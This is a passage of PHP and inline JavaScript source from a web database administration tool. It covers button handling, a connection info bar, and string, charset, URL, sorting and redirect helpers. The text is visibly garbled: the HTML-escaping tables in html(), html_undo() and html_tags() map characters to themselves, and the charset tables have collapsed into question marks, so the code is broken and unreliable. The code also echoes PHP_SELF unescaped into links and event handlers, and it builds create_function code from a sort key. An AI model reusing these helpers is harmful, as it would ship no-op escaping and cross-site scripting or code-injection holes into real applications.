1846 for (var i = 0; i < inputs.length; i++) {
1847 if (('button' == inputs[i].type || 'submit' == inputs[i].type) && !inputs[i].form) {
1848 event_add(inputs[i], 'click', button_click);
1849 }
1850 }
1851 });
1852 }
1853 function button_click(but, calledFromOnSubmit)
1854 {
1855 but = but.nodeName ? but : event_target(but);
1856 if ('button' == this.type || 'submit' == this.type) {
1857 but = this;
1858 }
1859 if (but.getAttribute('button_click') == 1 || but.form && but.form.getAttribute("button_click") == 1) {
1860 return;
1861 }
1862 if (button_click_sess_done(but)) {
1863 return;
1864 }
1865 if ("button" == but.type) {
1866 if (but.getAttribute("wait")) {
1867 button_wait(but);
1868 but.setAttribute("button_click", 1);
1869 if (but.form) {
1870 but.form.setAttribute("button_click", 1); // only when WAIT = other buttons in the form Choose From Pop etc.
1871 }
1872 }
1873 } else if ("submit" == but.type) {
1874 if (but.getAttribute("wait")) {
1875 button_wait(but);
1876 but.setAttribute("button_click", 1);
1877 }
1878 if (but.form) {
1879 but.form.setAttribute("button_click", 1);
1880 }
1881 if (calledFromOnSubmit) {
1882 if (but.getAttribute("block")) {
1883 button_disable(but);
1884 }
1885 } else {
1886 if (!but.form.getAttribute('button_disable_onsubmit'))
1887 {
1888 event_add(but.form, "submit", function(event) {
1889 var form = event_target(event);
1890 if (form.tagName != 'FORM') form = this;
1891 if (!button_disable_sess_done(form)) {
1892 for (var i = 0; i < form.elements.length; i++) {
1893 if (form.elements[i].getAttribute("block")) {
1894 button_disable(form.elements[i]);
1895 }
1896 }
1897 }
1898 });
1899 but.form.setAttribute('button_disable_onsubmit', 1);
1900 }
1901 }
1902 } else {
1903 //return alert("button_click() failed, unknown button type");
1904 }
1905 }
1906 function button_click_sess_done(but)
1907 {
1908 if (but.getAttribute('button_click_sess_done') == 1 || but.form && but.form.getAttribute('button_click_sess_done') == 1) {
1909 if (but.getAttribute('button_click_sess_done') == 1) {
1910 but.setAttribute('button_click_sess_done', 0);
1911 }
1912 if (but.form && but.form.getAttribute('button_click_sess_done') == 1) {
1913 but.form.setAttribute('button_click_sess_done', 0);
1914 }
1915 return true;
1916 }
1917 return false;
1918 }
1919 function button_disable_sess_done(but)
1920 {
1921 if (but.getAttribute('button_disable_sess_done') == 1 || but.form && but.form.getAttribute('button_disable_sess_done') == 1) {
1922 if (but.getAttribute('button_disable_sess_done') == 1) {
1923 but.setAttribute('button_disable_sess_done', 0);
1924 }
1925 if (but.form && but.form.getAttribute('button_disable_sess_done') == 1) {
1926 but.form.setAttribute('button_disable_sess_done', 0);
1927 }
1928 return true;
1929 }
1930 return false;
1931 }
1932 function button_disable(button)
1933 {
1934 button.disabled = true;
1935 if (button.name)
1936 {
1937
1938 var form = button.form;
1939 var input = document.createElement('input');
1940 input.setAttribute('type', 'hidden');
1941 input.setAttribute('name', button.name);
1942 input.setAttribute('value', button.value);
1943 form.appendChild(input);
1944 }
1945 }
1946 function button_wait(but)
1947 {
1948 //but.value += " ..";
1949 but.className = but.className + ' button_click';
1950 }
1951 function button_clear(but)
1952 {
1953 if (but.tagName == 'FORM') {
1954 var form = but;
1955 for (var i = 0; i < form.elements.length; i++) {
1956 button_clear(form.elements[i]);
1957 }
1958 form.setAttribute('button_click', 0);
1959 form.setAttribute('button_click_sess_done', 1);
1960 form.setAttribute('button_disable_sess_done', 1);
1961 } else {
1962 if (but.type == 'submit' || but.type == 'button')
1963 {
1964 if (but.getAttribute('button_click') == 1) {
1965 //but.value = but.value.replace(/[ ]?\.{2,}$/, '');
1966 but.className = but.className.replace('button_click', '');
1967 but.setAttribute('button_click', 0);
1968 but.setAttribute('button_click_sess_done', 1);
1969 but.setAttribute('button_disable_sess_done', 1);
1970 }
1971 if (but.form && but.form.getAttribute('button_click') == 1) {
1972 but.form.setAttribute('button_click', 0);
1973 but.form.setAttribute('button_click_sess_done', 1);
1974 but.form.setAttribute('button_disable_sess_done', 1);
1975 }
1976 }
1977 }
1978 }
1979 button_init();
1980 </script>
1981 <?php
1982}
1983function conn_info()
1984{
1985 global $db_driver, $db_server, $db_name, $db_user, $db_charset, $page_charset, $charset1, $charset2;
1986 $dbs = list_dbs();
1987 $db_name = $db_name;
1988 ?>
1989 <p>
1990 Driver: <b><?php echo $db_driver;?></b>
1991 -
1992 Server: <b><?php echo $db_server;?></b>
1993 -
1994 User: <b><?php echo $db_user;?></b>
1995 -
1996 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?execute_sql=1">Execute SQL</a>
1997 ( open in <a class=blue href="javascript:void(0)" onclick="popup('<?php echo $_SERVER['PHP_SELF'];?>?execute_sql=1&popup=1')">Popup</a> )
1998 -
1999 Database: <select name="db_name" onchange="location='<?php echo $_SERVER['PHP_SELF'];?>?db_name='+this.value"><?php echo options($dbs, $db_name);?></select>
2000 -
2001 Db charset: <select name="db_charset" onchange="location='<?php echo $_SERVER['PHP_SELF'];?>?db_charset='+this.value+'&from=<?php echo urlencode($_SERVER['REQUEST_URI']);?>'">
2002 <option value=""></option><?php echo options($charset1, $db_charset);?></select>
2003 -
2004 Page charset: <select name="page_charset" onchange="location='<?php echo $_SERVER['PHP_SELF'];?>?page_charset='+this.value+'&from=<?php echo urlencode($_SERVER['REQUEST_URI']);?>'">
2005 <option value=""></option><?php echo options($charset2, $page_charset);?></select>
2006 -
2007 <a class=blue href="<?php echo $_SERVER['PHP_SELF'];?>?disconnect=1">Disconnect</a>
2008 </p>
2009 <?php
2010}
2011function size($bytes)
2012{
2013 return number_format(ceil($bytes / 1024),0,'',',').' KB';
2014}
2015function html($s)
2016{
2017 $html = array(
2018 '&' => '&',
2019 '<' => '<',
2020 '>' => '>',
2021 '"' => '"',
2022 '\'' => '''
2023 );
2024 $s = preg_replace('/&#(\d+)/', '@@@@@#$1', $s);
2025 $s = str_replace(array_keys($html), array_values($html), $s);
2026 $s = preg_replace('/@@@@@#(\d+)/', '&#$1', $s);
2027 return trim($s);
2028}
2029function html_undo($s)
2030{
2031 $html = array(
2032 '&' => '&',
2033 '<' => '<',
2034 '>' => '>',
2035 '"' => '"',
2036 '\'' => '''
2037 );
2038 return str_replace(array_values($html), array_keys($html), $s);
2039}
2040function html_once($s)
2041{
2042 $s = str_replace(array('<','>','&lt;','&gt;'),array('<','>','<','>'),$s);
2043 return str_replace(array('<','>','<','>'),array('&lt;','&gt;','<','>'),$s);
2044}
2045function html_tags($s)
2046{
2047 // succession of str_replace array is important! double escape bug..
2048 return str_replace(array('<','>','<','>'), array('&lt;','&gt;','<','>'), $s);
2049}
2050function html_tags_undo($s)
2051{
2052 return str_replace(array('<','>','&lt;', '&gt;'), array('<','>','<','>'), $s);
2053}
2054function html_allow_tags($s, $allow)
2055{
2056 $s = html_once(trim($s));
2057 preg_match_all('#<([a-z]+)>#i', $allow, $match);
2058 foreach ($match[1] as $tag) {
2059 $s = preg_replace('#<'.$tag.'\s+style\s*=\s*"([^"<>]+)"\s*>#i', '<'.$tag.' style="$1">', $s);
2060 $s = str_replace('<'.$tag.'>', '<'.$tag.'>', $s);
2061 $s = str_replace('</'.$tag.'>', '</'.$tag.'>', $s);
2062 }
2063 return $s;
2064}
2065function str_truncate($string, $length, $etc = ' ..', $break_words = true)
2066{
2067 if ($length == 0) {
2068 return '';
2069 }
2070 if (strlen($string) > $length + strlen($etc)) {
2071 if (!$break_words) {
2072 $string = preg_replace('/\s+?(\S+)?$/', '', substr($string, 0, $length+1));
2073 }
2074 return substr($string, 0, $length) . $etc;
2075 }
2076 return $string;
2077}
2078function str_bind($s, $dat = array(), $strict = false, $recur = 0)
2079{
2080 if (!is_array($dat)) {
2081 return trigger_error('str_bind() failed. Second argument expects to be an array.', E_USER_ERROR);
2082 }
2083 if ($strict) {
2084 foreach ($dat as $k => $v) {
2085 if (strpos($s, "%$k%") === false) {
2086 return trigger_error(sprintf('str_bind() failed. Strict mode On. Key not found = %s. String = %s. Data = %s.', $k, $s, print_r($dat, 1)), E_USER_ERROR);
2087 }
2088 $s = str_replace("%$k%", $v, $s);
2089 }
2090 if (preg_match('#%\w+%#', $s, $match)) {
2091 return trigger_error(sprintf('str_bind() failed. Unassigned data for = %s. String = %s.', $match[0], $sBase), E_USER_ERROR);
2092 }
2093 return $s;
2094 }
2095
2096 $sBase = $s;
2097 preg_match_all('#%\w+%#', $s, $match);
2098 $keys = $match[0];
2099 $num = array();
2100
2101 foreach ($keys as $key)
2102 {
2103 $key2 = str_replace('%', '', $key);
2104 if (is_numeric($key2)) $num[$key] = true;
2105 /* ignore!
2106 if (!array_key_exists($key2, $dat)) {
2107 return trigger_error(sprintf('str_bind() failed. No data found for key: %s. String: %s.', $key, $sBase), E_USER_ERROR);
2108 }
2109 */
2110 $val = $dat[$key2];
2111 /* insecure!
2112 if (preg_match('#%\w+%#', $val) && $recur < 5) {
2113 $val = str_bind($val, $dat, $strict, ++$recur);
2114 }
2115 */
2116 $s = str_replace($key, $val, $s);
2117 }
2118 if (count($num)) {
2119 if (count($dat) != count($num)) {
2120 return trigger_error('str_bind() failed. When using numeric data binding you need to use all data passed to the string. You also cannot mix numeric and name binding.', E_USER_ERROR);
2121 }
2122 }
2123
2124 if (preg_match('#%\w+%#', $s, $match)) {
2125 /* ignore! return trigger_error(sprintf('str_bind() failed. Unassigned data for = %s. String = %s. Data = %s.', $match[0], htmlspecialchars(print_r($sBase, true)), print_r($dat, true)), E_USER_ERROR);*/
2126 }
2127
2128 return $s;
2129}
2130function dir_read($dir, $ignore_ext = array(), $allow_ext = array(), $sort = null)
2131{
2132 if (is_null($ignore_ext)) $ignore_ext = array();
2133 if (is_null($allow_ext)) $allow_ext = array();
2134 foreach ($allow_ext as $k => $ext) {
2135 $allow_ext[$k] = str_replace('.', '', $ext);
2136 }
2137
2138 $ret = array();
2139 if ($handle = opendir($dir)) {
2140 while (($file = readdir($handle)) !== false) {
2141 if ($file != '.' && $file != '..') {
2142 $ignore = false;
2143 foreach ($ignore_ext as $ext) {
2144 if (file_ext_has($file, $ext)) {
2145 $ignore = true;
2146 }
2147 }
2148 if (is_array($allow_ext) && count($allow_ext) && !in_array(file_ext($file), $allow_ext)) {
2149 $ignore = true;
2150 }
2151 if (!$ignore) {
2152 $ret[] = array(
2153 'file' => $dir.'/'.$file,
2154 'time' => filemtime($dir.'/'.$file)
2155 );
2156 }
2157 }
2158 }
2159 closedir($handle);
2160 }
2161 if ('date_desc' == $sort) {
2162 $ret = array_sort_desc($ret, 'time');
2163 }
2164 return array_col($ret, 'file');
2165}
2166function array_col($arr, $col)
2167{
2168 $ret = array();
2169 foreach ($arr as $k => $row) {
2170 $ret[] = $row[$col];
2171 }
2172 return $ret;
2173}
2174function array_sort($arr, $col_key)
2175{
2176 if (is_array($col_key)) {
2177 foreach ($arr as $k => $v) {
2178 $arr[$k]['__array_sort'] = '';
2179 foreach ($col_key as $col) {
2180 $arr[$k]['__array_sort'] .= $arr[$k][$col].'_';
2181 }
2182 }
2183 $col_key = '__array_sort';
2184 }
2185 uasort($arr, create_function('$a,$b', 'if (is_null($a["'.$col_key.'"]) && !is_null($b["'.$col_key.'"])) return 1; if (!is_null($a["'.$col_key.'"]) && is_null($b["'.$col_key.'"])) return -1; return strnatcasecmp($a["'.$col_key.'"], $b["'.$col_key.'"]);'));
2186 if ('__array_sort' == $col_key) {
2187 foreach ($arr as $k => $v) {
2188 unset($arr[$k]['__array_sort']);
2189 }
2190 }
2191 return $arr;
2192}
2193function array_sort_desc($arr, $col_key)
2194{
2195 if (is_array($col_key)) {
2196 foreach ($arr as $k => $v) {
2197 $arr[$k]['__array_sort'] = '';
2198 foreach ($col_key as $col) {
2199 $arr[$k]['__array_sort'] .= $arr[$k][$col].'_';
2200 }
2201 }
2202 $col_key = '__array_sort';
2203 }
2204 uasort($arr, create_function('$a,$b', 'return strnatcasecmp($b["'.$col_key.'"], $a["'.$col_key.'"]);'));
2205 if ('__array_sort' == $col_key) {
2206 foreach ($arr as $k => $v) {
2207 unset($arr[$k]['__array_sort']);
2208 }
2209 }
2210 return $arr;
2211}
2212function options($options, $selected = null, $ignore_type = false)
2213{
2214 $ret = '';
2215 foreach ($options as $k => $v) {
2216 //str_replace('"', '\"', $k)
2217 $ret .= '<option value="'.$k.'"';
2218 if ((is_array($selected) && in_array($k, $selected)) || (!is_array($selected) && $k == $selected && $selected !== '' && $selected !== null)) {
2219 if ($ignore_type) {
2220 $ret .= ' selected="selected"';
2221 } else {
2222 if (!(is_numeric($k) xor is_numeric($selected))) {
2223 $ret .= ' selected="selected"';
2224 }
2225 }
2226 }
2227 $ret .= '>'.$v.' </option>';
2228 }
2229 return $ret;
2230}
2231function sql_files()
2232{
2233 $files = dir_read('.', null, array('.sql'));
2234 $files2 = array();
2235 foreach ($files as $file) {
2236 $files2[md5($file)] = $file.sprintf(' (%s)', size(filesize($file)));
2237 }
2238 return $files2;
2239}
2240function sql_files_assoc()
2241{
2242 $files = dir_read('.', null, array('.sql'));
2243 $files2 = array();
2244 foreach ($files as $file) {
2245 $files2[md5($file)] = $file;
2246 }
2247 return $files2;
2248}
2249function file_ext($name)
2250{
2251 $ext = null;
2252 if (($pos = strrpos($name, '.')) !== false) {
2253 $len = strlen($name) - ($pos+1);
2254 $ext = substr($name, -$len);
2255 if (!preg_match('#^[a-z0-9]+$#i', $ext)) {
2256 return null;
2257 }
2258 }
2259 return $ext;
2260}
2261function checked($bool)
2262{
2263 if ($bool) return 'checked="checked"';
2264}
2265function radio_assoc($checked, $assoc, $input_name, $link = false)
2266{
2267 $ret = '<table cellspacing="0" cellpadding="0"><tr>';
2268 foreach ($assoc as $id => $name)
2269 {
2270 $params = array(
2271 'id' => $id,
2272 'name' => $name,
2273 'checked' => checked($checked == $id),
2274 'input_name' => $input_name
2275 );
2276 if ($link) {
2277 if (is_array($link)) {
2278 $params['link'] = $link[$id];
2279 } else {
2280 $params['link'] = sprintf($link, $id, $name);
2281 }
2282 $ret .= str_bind('<td><input class="checkbox" type="radio" name="%input_name%" id="%input_name%_%id%" value="%id%" %checked%></td><td>%link% </td>', $params);
2283 } else {
2284 $ret .= str_bind('<td><input class="checkbox" type="radio" name="%input_name%" id="%input_name%_%id%" value="%id%" %checked%></td><td><label for="%input_name%_%id%">%name%</label> </td>', $params);
2285 }
2286 }
2287 $ret .= '</tr></table>';
2288 return $ret;
2289}
2290function self($cut_query = false)
2291{
2292 $uri = $_SERVER['REQUEST_URI'];
2293 if ($cut_query) {
2294 $before = str_before($uri, '?');
2295 if ($before) {
2296 return $before;
2297 }
2298 }
2299 return $uri;
2300}
2301function url($script, $params = array())
2302{
2303 $query = '';
2304
2305 /* remove from script url, actual params if exist */
2306 foreach ($params as $k => $v) {
2307 $exp = sprintf('#(\?|&)%s=[^&]*#i', $k);
2308 if (preg_match($exp, $script)) {
2309 $script = preg_replace($exp, '', $script);
2310 }
2311 }
2312
2313 /* repair url like 'script.php&id=12&asd=133' */
2314 $exp = '#\?\w+=[^&]*#i';
2315 $exp2 = '#&(\w+=[^&]*)#i';
2316 if (!preg_match($exp, $script) && preg_match($exp2, $script)) {
2317 $script = preg_replace($exp2, '?$1', $script, 1);
2318 }
2319
2320 foreach ($params as $k => $v) {
2321 if (!strlen($v)) continue;
2322 if ($query) { $query .= '&'; }
2323 else {
2324 if (strpos($script, '?') === false) {
2325 $query .= '?';
2326 } else {
2327 $query .= '&';
2328 }
2329 }
2330 if ('%s' != $v) {
2331 $v = urlencode($v);
2332 }
2333 $v = preg_replace('#%25(\w+)%25#i', '%$1%', $v); // %id_news% etc. used in listing
2334 $query .= sprintf('%s=%s', $k, $v);
2335 }
2336 return $script.$query;
2337}
2338function url_offset($offset, $params = array())
2339{
2340 $url = $_SERVER['REQUEST_URI'];
2341 if (preg_match('#&offset=\d+#', $url)) {
2342 $url = preg_replace('#&offset=\d+#', '&offset='.$offset, $url);
2343 } else {
2344 $url .= '&offset='.$offset;
2345 }
2346 return $url;
2347}
2348function str_wrap($s, $width, $break = ' ', $omit_tags = false)
2349{
2350 //$restart = array(' ', "\t", "\r", "\n");
2351 $restart = array();
2352 $cnt = 0;
2353 $ret = '';
2354 $open_tag = false;
2355 for ($i=0; $i<strlen($s); $i++)
2356 {
2357 $char = $s{$i};
2358
2359 if ($omit_tags)
2360 {
2361 if ($char == '<') {
2362 $open_tag = true;
2363 }
2364 if ($char == '>') {
2365 $open_tag = false;
2366 }
2367 if ($open_tag) {
2368 $ret .= $char;
2369 continue;
2370 }
2371 }
2372
2373 if (in_array($char, $restart)) {
2374 $cnt = 0;
2375 } else {
2376 $cnt++;
2377 }
2378 $ret .= $char;
2379 if ($cnt > $width) {
2380 $ret .= $break;
2381 $cnt = 0;
2382 }
2383 }
2384 return $ret;
2385}
2386function time_micro()
2387{
2388 list($usec, $sec) = explode(" ", microtime());
2389 return ((float)$usec + (float)$sec);
2390}
2391function time_start()
2392{
2393 return time_micro();
2394}
2395function time_end($start)
2396{
2397 $end = time_micro();
2398 $end = round($end - $start, 3);
2399 $end = pad_zeros($end, 3);
2400 return $end;
2401}
2402function str_has($str, $needle, $ignore_case = false)
2403{
2404 if (is_array($needle)) {
2405 foreach ($needle as $n) {
2406 if (!str_has($str, $n, $ignore_case)) {
2407 return false;
2408 }
2409 }
2410 return true;
2411 }
2412 if ($ignore_case) {
2413 $str = str_lower($str);
2414 $needle = str_lower($needle);
2415 }
2416 return strpos($str, $needle) !== false;
2417}
2418function str_has_any($str, $arr_needle, $ignore_case = false)
2419{
2420 if (is_string($arr_needle)) {
2421 $arr_needle = preg_replace('#\s+#', ' ', $arr_needle);
2422 $arr_needle = explode(' ', $arr_needle);
2423 }
2424 foreach ($arr_needle as $needle) {
2425 if (str_has($str, $needle, $ignore_case)) {
2426 return true;
2427 }
2428 }
2429 return false;
2430}
2431function str_before($str, $needle)
2432{
2433 $pos = strpos($str, $needle);
2434 if ($pos !== false) {
2435 $before = substr($str, 0, $pos);
2436 return strlen($before) ? $before : false;
2437 } else {
2438 return false;
2439 }
2440}
2441function pad_zeros($number, $zeros)
2442{
2443 if (str_has($number, '.')) {
2444 preg_match('#\.(\d+)$#', $number, $match);
2445 $number .= str_repeat('0', $zeros-strlen($match[1]));
2446 return $number;
2447 } else {
2448 return $number.'.'.str_repeat('0', $zeros);
2449 }
2450}
2451function charset_fix_invalid($s)
2452{
2453 $fix = '??“„????™”?';
2454 $s = str_replace(str_array($fix), '', $s);
2455 return $s;
2456}
2457function charset_is_invalid($s)
2458{
2459 $fix = '??“„????™”?';
2460 $fix = str_array($fix);
2461 foreach ($fix as $char) {
2462 if (str_has($s, $char)) {
2463 return true;
2464 }
2465 }
2466 return false;
2467}
2468function charset_fix($string)
2469{
2470 // UTF-8 && WIN-1250 => ISO-8859-2
2471 // todo: is checking required? redundant computing?
2472 if (charset_win_is($string)) {
2473 $string = charset_win_fix($string);
2474 }
2475 if (charset_utf_is($string)) {
2476 $string = charset_utf_fix($string);
2477 }
2478 return $string;
2479}
2480function charset_win_is($string)
2481{
2482 $win = '??????????????????';
2483 $iso = '±???????????¶¦?¬??';
2484 for ($i=0; $i<strlen($win); $i++) {
2485 if ($win{$i} != $iso{$i}) {
2486 if (strstr($string, $win{$i}) !== false) {
2487 return true;
2488 }
2489 }
2490 }
2491 return false;
2492}
2493function charset_win_fix($string)
2494{
2495 $win = '??????????????????';
2496 $iso = '±???????????¶¦?¬??';
2497 $srh = array();
2498 $rpl = array();
2499 for ($i = 0; $i < strlen($win); $i++) {
2500 if ($win{$i} != $iso{$i}) {
2501 $srh[] = $win{$i};
2502 $rpl[] = $iso{$i};
2503 }
2504 }
2505 $string = str_replace($srh, $rpl, $string);
2506 return $string;
2507}
2508function charset_utf_is($string)
2509{
2510 $utf_iso = array(
2511 "\xc4\x85" => "\xb1",
2512 "\xc4\x84" => "\xa1",
2513 "\xc4\x87" => "\xe6",
2514 "\xc4\x86" => "\xc6",
2515 "\xc4\x99" => "\xea",
2516 "\xc4\x98" => "\xca",
2517 "\xc5\x82" => "\xb3",
2518 "\xc5\x81" => "\xa3",
2519 "\xc3\xb3" => "\xf3",
2520 "\xc3\x93" => "\xd3",
2521 "\xc5\x9b" => "\xb6",
2522 "\xc5\x9a" => "\xa6",
2523 "\xc5\xba" => "\xbc",
2524 "\xc5\xb9" => "\xac",
2525 "\xc5\xbc" => "\xbf",
2526 "\xc5\xbb" => "\xaf",
2527 "\xc5\x84" => "\xf1",
2528 "\xc5\x83" => "\xd1",
2529 // xmlhttprequest utf-8 encoding
2530 "%u0104" => "\xA1",
2531 "%u0106" => "\xC6",
2532 "%u0118" => "\xCA",
2533 "%u0141" => "\xA3",
2534 "%u0143" => "\xD1",
2535 "%u00D3" => "\xD3",
2536 "%u015A" => "\xA6",
2537 "%u0179" => "\xAC",
2538 "%u017B" => "\xAF",
2539 "%u0105" => "\xB1",
2540 "%u0107" => "\xE6",
2541 "%u0119" => "\xEA",
2542 "%u0142" => "\xB3",
2543 "%u0144" => "\xF1",
2544 "%u00D4" => "\xF3",
2545 "%u015B" => "\xB6",
2546 "%u017A" => "\xBC",
2547 "%u017C" => "\xBF"
2548 );
2549 foreach ($utf_iso as $k => $v) {
2550 if (strpos($string, $k) !== false) {
2551 return true;
2552 }
2553 }
2554 return false;
2555}
2556function charset_utf_fix($string)
2557{
2558 $utf_iso = array(
2559 "\xc4\x85" => "\xb1",
2560 "\xc4\x84" => "\xa1",
2561 "\xc4\x87" => "\xe6",
2562 "\xc4\x86" => "\xc6",
2563 "\xc4\x99" => "\xea",
2564 "\xc4\x98" => "\xca",
2565 "\xc5\x82" => "\xb3",
2566 "\xc5\x81" => "\xa3",
2567 "\xc3\xb3" => "\xf3",
2568 "\xc3\x93" => "\xd3",
2569 "\xc5\x9b" => "\xb6",
2570 "\xc5\x9a" => "\xa6",
2571 "\xc5\xba" => "\xbc",
2572 "\xc5\xb9" => "\xac",
2573 "\xc5\xbc" => "\xbf",
2574 "\xc5\xbb" => "\xaf",
2575 "\xc5\x84" => "\xf1",
2576 "\xc5\x83" => "\xd1",
2577 // xmlhttprequest uses different encoding
2578 "%u0104" => "\xA1",
2579 "%u0106" => "\xC6",
2580 "%u0118" => "\xCA",
2581 "%u0141" => "\xA3",
2582 "%u0143" => "\xD1",
2583 "%u00D3" => "\xD3",
2584 "%u015A" => "\xA6",
2585 "%u0179" => "\xAC",
2586 "%u017B" => "\xAF",
2587 "%u0105" => "\xB1",
2588 "%u0107" => "\xE6",
2589 "%u0119" => "\xEA",
2590 "%u0142" => "\xB3",
2591 "%u0144" => "\xF1",
2592 "%u00D4" => "\xF3",
2593 "%u015B" => "\xB6",
2594 "%u017A" => "\xBC",
2595 "%u017C" => "\xBF"
2596 );
2597 return str_replace(array_keys($utf_iso), array_values($utf_iso), $string);
2598}
2599function str_starts_with($str, $start, $ignore_case = false)
2600{
2601 if ($ignore_case) {
2602 $str = str_upper($str);
2603 $start = str_upper($start);
2604 }
2605 if (!strlen($str) && !strlen($start)) {
2606 return true;
2607 }
2608 if (!strlen($start)) {
2609 trigger_error('str_starts_with() failed, start arg cannot be empty', E_USER_ERROR);
2610 }
2611 if (strlen($start) > strlen($str)) {
2612 return false;
2613 }
2614 for ($i = 0; $i < strlen($start); $i++) {
2615 if ($start{$i} != $str{$i}) {
2616 return false;
2617 }
2618 }
2619 return true;
2620}
2621function str_ends_with($str, $end, $ignore_case = false)
2622{
2623 if ($ignore_case) {
2624 $str = str_upper($str);
2625 $end = str_upper($end);
2626 }
2627 if (!strlen($str) && !strlen($end)) {
2628 return true;
2629 }
2630 if (!strlen($end)) {
2631 trigger_error('str_ends_with() failed, end arg cannot be empty', E_USER_ERROR);
2632 }
2633 if (strlen($end) > strlen($str)) {
2634 return false;
2635 }
2636 return str_starts_with(strrev($str), strrev($end));
2637 return true;
2638}
2639function str_cut_start($str, $start)
2640{
2641 if (str_starts_with($str, $start)) {
2642 $str = substr($str, strlen($start));
2643 }
2644 return $str;
2645}
2646function str_cut_end($str, $end)
2647{
2648 if (str_ends_with($str, $end)) {
2649 $str = substr($str, 0, -strlen($end));
2650 }
2651 return $str;
2652}
2653function file_get($file)
2654{
2655 return file_get_contents($file);
2656}
2657function file_put($file, $s)
2658{
2659 $fp = fopen($file, 'wb') or trigger_error('fopen() failed: '.$file, E_USER_ERROR);
2660 if ($fp) {
2661 fwrite($fp, $s);
2662 fclose($fp);
2663 }
2664}
2665function file_date($file)
2666{
2667 return date('Y-m-d H:i:s', filemtime($file));
2668}
2669function dir_exists($dir)
2670{
2671 return file_exists($dir) && !is_file($dir);
2672}
2673function dir_delete_old_files($dir, $ext = array(), $sec)
2674{
2675 // NOT USED right now.
2676 // older than x seconds
2677 $files = dir_read($dir, null, $ext);
2678 $time = time() - $sec;
2679 foreach ($files as $file) {
2680 if (file_time($file) < $time) {
2681 unlink($file);
2682 }
2683 }
2684}
2685global $_error, $_error_style;
2686$_error = array();
2687$_error_style = '';
2688
2689function error($msg = null)
2690{
2691 if (isset($msg) && func_num_args() > 1) {
2692 $args = func_get_args();
2693 $msg = call_user_func_array('sprintf', $args);
2694 }
2695 global $_error, $_error_style;
2696 if (isset($msg)) {
2697 $_error[] = $msg;
2698 }
2699 if (!count($_error)) {
2700 return null;
2701 }
2702 if (count($_error) == 1) {
2703 return sprintf('<div class="error" style="%s">%s</div>', $_error_style, $_error[0]);
2704 }
2705 $ret = '<div class="error" style="'.$_error_style.'">Following errors appeared:<ul>';
2706 foreach ($_error as $msg) {
2707 $ret .= sprintf('<li>%s</li>', $msg);
2708 }
2709 $ret .= '</ul></div>';
2710 return $ret;
2711}
2712function timestamp($time, $span = true)
2713{
2714 $time_base = $time;
2715 $time = substr($time, 0, 16);
2716 $time2 = substr($time, 0, 10);
2717 $today = date('Y-m-d');
2718 $yesterday = date('Y-m-d', time()-3600*24);
2719 if ($time2 == $today) {
2720 if (substr($time_base, -8) == '00:00:00') {
2721 $time = 'Today';
2722 } else {
2723 $time = 'Today'.substr($time, -6);
2724 }
2725 } else if ($time2 == $yesterday) {
2726 $time = 'Yesterday'.substr($time, -6);
2727 }
2728 return '<span style="white-space: nowrap;">'.$time.'</span>';
2729}
2730function str_lower($str)
2731{
2732 /* strtolower iso-8859-2 compatible */
2733 $lower = str_array(iso_chars_lower());
2734 $upper = str_array(iso_chars_upper());
2735 $str = str_replace($upper, $lower, $str);
2736 $str = strtolower($str);
2737 return $str;
2738}
2739function str_upper($str)
2740{
2741 /* strtoupper iso-8859-2 compatible */
2742 $lower = str_array(iso_chars_lower());
2743 $upper = str_array(iso_chars_upper());
2744 $str = str_replace($lower, $upper, $str);
2745 $str = strtoupper($str);
2746 return $str;
2747}
2748function str_array($str)
2749{
2750 $arr = array();
2751 for ($i = 0; $i < strlen($str); $i++) {
2752 $arr[$i] = $str{$i};
2753 }
2754 return $arr;
2755}
2756function iso_chars()
2757{
2758 return iso_chars_lower().iso_chars_upper();
2759}
2760function iso_chars_lower()
2761{
2762 return '±?????¶??';
2763}
2764function iso_chars_upper()
2765{
2766 return '??????¦¬?';
2767}
2768function array_first_key($arr)
2769{
2770 $arr2 = $arr;
2771 reset($arr);
2772 list($key, $val) = each($arr);
2773 return $key;
2774}
2775function array_first($arr)
2776{
2777 return array_first_value($arr);
2778}
2779function array_first_value($arr)
2780{
2781 $arr2 = $arr;
2782 return array_shift($arr2);
2783}
2784function array_col_values($arr, $col)
2785{
2786 $ret = array();
2787 foreach ($arr as $k => $row) {
2788 $ret[] = $row[$col];
2789 }
2790 return $ret;
2791}
2792function array_col_values_unique($arr, $col)
2793{
2794 return array_unique(array_col_values($arr, $col));
2795}
2796function array_col_match($rows, $col, $pattern)
2797{
2798 if (!count($rows)) {
2799 trigger_error('array_col_match(): array is empty', E_USER_ERROR);
2800 }
2801 $ret = true;
2802 foreach ($rows as $row) {
2803 if (!preg_match($pattern, $row[$col])) {
2804 return false;
2805 }
2806 }
2807 return true;
2808}
2809function array_col_match_unique($rows, $col, $pattern)
2810{
2811 if (!array_col_match($rows, $col, $pattern)) {
2812 return false;
2813 }
2814 return count($rows) == count(array_col_values_unique($rows, $col));
2815}
2816function redirect($url)
2817{
2818 $url = url($url);
2819 header("Location: $url");
2820 exit;
2821}
2822function redirect_notify($url, $msg)
2823{
2824 if (strpos($msg, '<') === false) {
2825 $msg = sprintf('<b>%s</b>', $msg);
2826 }
2827 cookie_set('flash_notify', $msg);
2828 redirect($url);
2829}
2830function redirect_ok($url, $msg)
2831{
2832 if (strpos($msg, '<') === false) {
2833 $msg = sprintf('<b>%s</b>', $msg);
2834 }
2835 cookie_set('flash_ok', $msg);
2836 redirect($url);
2837}
2838function redirect_error($url, $msg)
2839{
2840 if (strpos($msg, '<') === false) {
2841 $msg = sprintf('<b>%s</b>', $msg);
2842 }
2843 cookie_set('flash_error', $msg);
2844 redirect($url);
2845}
2846function flash()
2847{
2848 static $is_style = false;
2849
2850 $flash_error = cookie_get('flash_error');
2851 $flash_ok = cookie_get('flash_ok');
2852 $flash_notify = cookie_get('flash_notify');
2853
2854 $flash_error = filter_allow_tags($flash_error, '<b><i><u><br><span>');
2855 $flash_ok = filter_allow_tags($flash_ok, '<b><i><u><br><span>');
2856 $flash_notify = filter_allow_tags($flash_notify, '<b><i><u><br><span>');
2857
2858 if (!($flash_error || $flash_ok || $flash_notify)) {
2859 return false;
2860 }
2861
2862 ob_start();
2863 ?>
2864
2865 <?php if (!$is_style): ?>
2866 <style type="text/css">
2867 #flash { background: #ffffd7; padding: 0.3em; padding-bottom: 0.15em; border: #ddd 1px solid; margin-bottom: 1em; }
2868 #flash div { padding: 0em 0em; }
2869 #flash table { font-weight: normal; }
2870 #flash td { text-align: left; }
2871 </style>
2872 <?php endif; ?>
2873
2874 <div id="flash" ondblclick="document.getElementById('flash').style.display='none';">
